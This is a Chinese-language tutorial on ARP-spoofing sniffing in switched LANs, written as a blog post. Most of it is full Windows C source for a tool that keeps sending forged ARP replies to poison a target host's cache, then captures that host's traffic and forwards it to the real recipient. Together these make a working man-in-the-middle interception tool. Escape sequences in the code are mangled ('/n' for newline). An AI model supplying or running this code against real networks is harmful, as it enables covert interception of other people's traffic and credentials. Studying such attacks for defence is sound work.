基于ARP的嗅探原理

时间:2021-01-28 00:31:55

    嗅探器(sniffer)是一种刺探网络中传输数据的工具。为达到这一目的,一般的做法是设置网卡为混杂模式,这样就可以嗅探到所有经过本机网卡的数据(这种一般的sniffer原理不在此阐述)。但是这种sniffer有一个缺点,就是它只适用于共享式局域网,对于交换式局域网无效。因为在交换式局域网中,网络中的数据并不会经过每一台主机的网卡,所以对于交换式局域网,就要用另外一种更为主动的方法去嗅探,那就是基于ARP欺骗的嗅探。
    我们假设有三台主机A,B,C位于同一个交换式局域网中,攻击者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。另外,由于ARP缓存是动态更新的,因此,我们要不断的向B发送伪造的ARP应答包,以防止B的ARP缓存中的IP-MAC映射关系被C改回来。(这里涉及到ARP欺骗的知识,如果对此有疑惑,请查阅相关资料。)当然,这样嗅探之后,本应接收到数据的C就不能接收到B发送过来的数据了,也就是说,B和C的通信相当于被中断了。因此,我们在嗅探到数据后,还必须将此数据转发给C,这样才能保证B,C的通信不被中断。
    以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示:
                B----->A----->C
                B<------------C 
当然,如果你还想嗅探到C->B的数据,还可以将A插入到C->B中,这样,就能嗅探到B,C间通信的全部数据了。
    下面,还是用具体的代码来说明问题。在这个代码中,涉及到了IPHLPAPI和winpcap的编程,请查阅相关资料:


#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "wchar.h"
#include "stdio.h"
#include "Iphlpapi.h"

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"iphlpapi.lib")

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

typedef struct _et_header    //以太网头部
{
    unsigned char   eh_dst[6]; 
    unsigned char   eh_src[6];
    unsigned short  eh_type;
}ET_HEADER;

typedef struct _arp_header   //ARP头部
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
}ARP_HEADER;

typedef struct _ip_header
{
    char m_ver_hlen;      //4位版本号,4位ip头部长
 char m_tos;
 USHORT m_tlen;
    USHORT m_ident;
    USHORT m_flag_frag;     //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
 char m_ttl;
 char m_protocol;
 USHORT m_cksum;
 ULONG m_sIP;
    ULONG m_dIP;
}IP_HEADER;

typedef struct info     //将被传递到监听线程的信息结构
{
 LPADAPTER lpAdapter;
 char simulateIP[20];
 char targetIP[20];
}INFO;

#pragma pack(pop)

void usage()
{
 printf("***********************************/n");
 printf("*        Made by ffantasyYD       */n");
 printf("*           QQ:76889713           */n");
    printf("*     email:ffantasyYD@163.com    */n");
 printf("***********************************/n");
 printf("This program have 2 param: P2PSniffer targetIP simulateIP/n");
}

void StrToMac(char *str,char *mac)  //自定义的将字符串转换成mac地址的函数
{
 char *str1;
 int i;
 int low,high;
 char temp;

 for(i=0;i<6;i++)
 {
  str1=str+1;
  switch(*str)
  {
  case 'a':high=10;
        break;
  case 'b':high=11;
        break;
        case 'c':high=12;
        break;
        case 'd':high=13;
        break;
  case 'e':high=14;
        break;
  case 'f':high=15;
        break;
  default:temp=*str;
       high=atoi(&temp);
  }
  switch(*str1)
  {
  case 'a':low=10;
        break;
  case 'b':low=11;
        break;
        case 'c':low=12;
        break;
        case 'd':low=13;
        break;
  case 'e':low=14;
        break;
  case 'f':low=15;
        break;
  default:temp=*str1;
       low=atoi(&temp);
  }
  mac[i]=high*16+low;
  str+=2;
 }
}

void getLocalMac(char *localMac,char *localIP)          //获取本机MAC地址
{
 ULONG numOfAdapter=0;
 char mac[5][20]={0},IP[5][20]={0};

 GetAdaptersInfo(NULL,&numOfAdapter);   //取得网卡信息
 if(numOfAdapter!=0)
 {
  IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) );
  memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) );
  GetAdaptersInfo(pAdapterInfo,&numOfAdapter);

  printf("Please select the local mac!/n");
  for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++)
  {
   sprintf(mac[i],"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],
           pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]);
   memcpy( IP[i],pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) );

   printf("%d, %s--%s/n",i+1,IP[i],mac[i]);
   pAdapterInfo=pAdapterInfo->Next;
  }
 }

 int index=0;
 scanf("%d",&index);
 memcpy(localMac,mac[index-1],strlen(mac[index-1]));
 memcpy(localIP,IP[index-1],strlen(IP[index-1]));

 return;
}

bool getRemoteMac(char *remoteMac,char *remoteIP)            //获取远程主机MAC地址
{
 WSADATA wsaData;
 ULONG remoteAddr=0,macAddrLen=6;
 char remoteMacTemp[6]={0};

    if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
 {
  printf("WSAStartup error!/n");
  return FALSE;
 }

 remoteAddr=inet_addr(remoteIP);
 if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
 {
  printf("Get remote MAC failed!/n");
  return FALSE;
 }
 memcpy(remoteMac,remoteMacTemp,6);
/*
 for(int i=0; i<6; i++ )
 {
  printf( "%.2x", remoteMac[i] );
 }
 printf("/n");
*/
 return TRUE;
}

void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP)       //分析接收到数据包
{
 char *buf;
 bpf_hdr *lpBpfhdr;
 ET_HEADER *lpEthdr;
 in_addr addr={0};
   
    buf=(char *)lpPacket->Buffer;
 lpBpfhdr=(bpf_hdr *)buf;
 lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

 if(lpEthdr->eh_type==htons(0x0800))     //判断是否为IP包
 {
  IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
  char source_ip[20]={0},dest_ip[20]={0};
  addr.S_un.S_addr=lpIphdr->m_sIP;
  memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

  memset(&addr,0,sizeof(in_addr));
  addr.S_un.S_addr=lpIphdr->m_dIP;
  memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

  if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) )
  {
   printf("There is a IP packet from %s to %s !/n",targetIP,simulateIP);

   //以下是将嗅探到的包发送到真正的目的地:
   char mac[6]={0};
   LPPACKET lpSendPacket=NULL;
   char sendBuf[512]={0};

   getRemoteMac(mac,simulateIP);
   memcpy(lpEthdr->eh_dst,mac,6);
   memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER));
   memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen));

   lpSendPacket=PacketAllocatePacket();
   PacketInitPacket(lpSendPacket,sendBuf,512);

   PacketSetNumWrites(lpAdapter,2);
   PacketSendPacket(lpAdapter,lpSendPacket,TRUE);

   PacketFreePacket(lpSendPacket);   //释放PACKET结构指针
  }
 }
}

DWORD WINAPI Listen(void *param)    //监听线程
{
 LPADAPTER lpAdapter;
 INFO *pInfo=(INFO *)param;
    LPPACKET lpPacket;
    char buf[512]={0};
 lpAdapter=pInfo->lpAdapter;
//printf("%s,%s/n",pInfo->near_ip,pInfo->far_ip);

 PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED);   //设置网卡为直接模式
 PacketSetBuff(lpAdapter,1024);     //设置网卡接收数据包的缓冲区大小
 PacketSetReadTimeout(lpAdapter,2);   //设置接收到一个包后的“休息”时间

 while(1)
 {
  lpPacket=PacketAllocatePacket();    //给PACKET结构指针分配内存
        PacketInitPacket(lpPacket,buf,512);    //初始化PACKET结构指针

  PacketReceivePacket(lpAdapter, lpPacket, TRUE);   //接收数据包
  assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP);  //分析数据包

  //每次收包后重置lpPacket:
  PacketFreePacket(lpPacket);
  memset(buf,0,512);
 }

    PacketFreePacket(lpPacket);   //释放lpPacket
 return 1;
}

int main(int argc, char* argv[])
{
 char s_mac[6]={0};
    LPADAPTER lpAdapter;
 LPPACKET lpPacket;
 ET_HEADER et_header;
 ARP_HEADER arp_header;
 static CHAR adapter_list[10][1024];
 WCHAR adapter_name[2048];
 WCHAR *name1,*name2;
 ULONG adapter_length=1024;
 ULONG i,adapter_num=0;
 char buffer[512]={0};
 INFO param={0};

    usage();
 if(argc!=3)
 {
  return -1;
 }

 //获取MAC地址:
 char localMac[20]={0},localIP[20]={0};
 getLocalMac(localMac,localIP);

 char remoteMac[6]={0};
 if(getRemoteMac(remoteMac,argv[1])==FALSE)
 {
  return -1;
 }

 //打开适配器:

 //取得所有适配器的名字.
    if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
    {
  //adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符
  //之间由一个'/0'隔开,两个适配器名字之间用两个'/0'隔开,连续遇到超过两个的
  //'/0'就认为适配器名字已取完。
        //adapter_length:这个缓冲区的大小
  printf("PacketGetAdapterNames error:%d/n",GetLastError());
        return -1;
    }
   
 name1=adapter_name;
    name2=adapter_name;
    i = 0;
 //把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
    while((*name1!='/0') || (*(name1-1)!='/0'))
    {
        if(*name1=='/0')
        {
            memcpy(adapter_list[i],name2,2*(name1-name2));
            name2=name1+1;
            i++;
        }
        name1++;
    }

 //默认打开第一块适配器
    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]); 
    if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
        return -1;
    }

 //启动监听线程:
 param.lpAdapter=lpAdapter;
 memcpy(param.targetIP,argv[1],strlen(argv[1]));
 memcpy(param.simulateIP,argv[2],strlen(argv[2]));
 CreateThread(NULL,0,Listen,&param,0,NULL); 

 //伪造ARP应答包:
 StrToMac(localMac,s_mac);    //local_mac
 memcpy(et_header.eh_src,s_mac,6);

 memcpy(et_header.eh_dst,remoteMac,6);

 et_header.eh_type=htons(0x0806);  //类型为0x0806表示这是ARP包

    arp_header.arp_hdr=htons(0x0001);  //硬件地址类型以太网地址
 arp_header.arp_pro=htons(0x0800);  //协议地址类型为IP协议
 arp_header.arp_hln=6;              //硬件地址长度为6
 arp_header.arp_pln=4;              //协议地址长度为4
 arp_header.arp_opt=htons(0x0002);  //标识为ARP应答

    arp_header.arp_spa=inet_addr(argv[2]);  //source_ip
 memcpy(arp_header.arp_sha,et_header.eh_src,6);
 arp_header.arp_tpa=inet_addr(argv[1]);  //target_ip
 memcpy(arp_header.arp_tha,et_header.eh_dst,6);

 memcpy(buffer,&et_header,sizeof(ET_HEADER));
 memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

 //发送伪造地ARP应答包:
 lpPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存
    PacketInitPacket(lpPacket,buffer,512);   //初始化PACKET结构指针

 if(PacketSetNumWrites(lpAdapter,2)==FALSE)   //设置发送次数
    {
        printf("warning: Unable to send more than one packet in a single write!/n");
    }
   
 printf("Start............./n");
 while(1)
 {
  if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)  //不断发送伪造的ARP应答包达到欺骗目标主机的目的
  {
   printf("Error sending the packets!/n");
   break;
  }
  Sleep(2000);
 }

 PacketFreePacket(lpPacket);   //释放PACKET结构指针
 Sleep(5000);
    PacketCloseAdapter(lpAdapter);  //关闭适配器
 return 0;
}

    以上就是这种嗅探的基本实现。当然,要对交换式局域网中的数据进行嗅探还有很多种方法,比如,可以用ARP欺骗去欺骗交换机等。总之,方法有很多,只有想不到,没有做不到。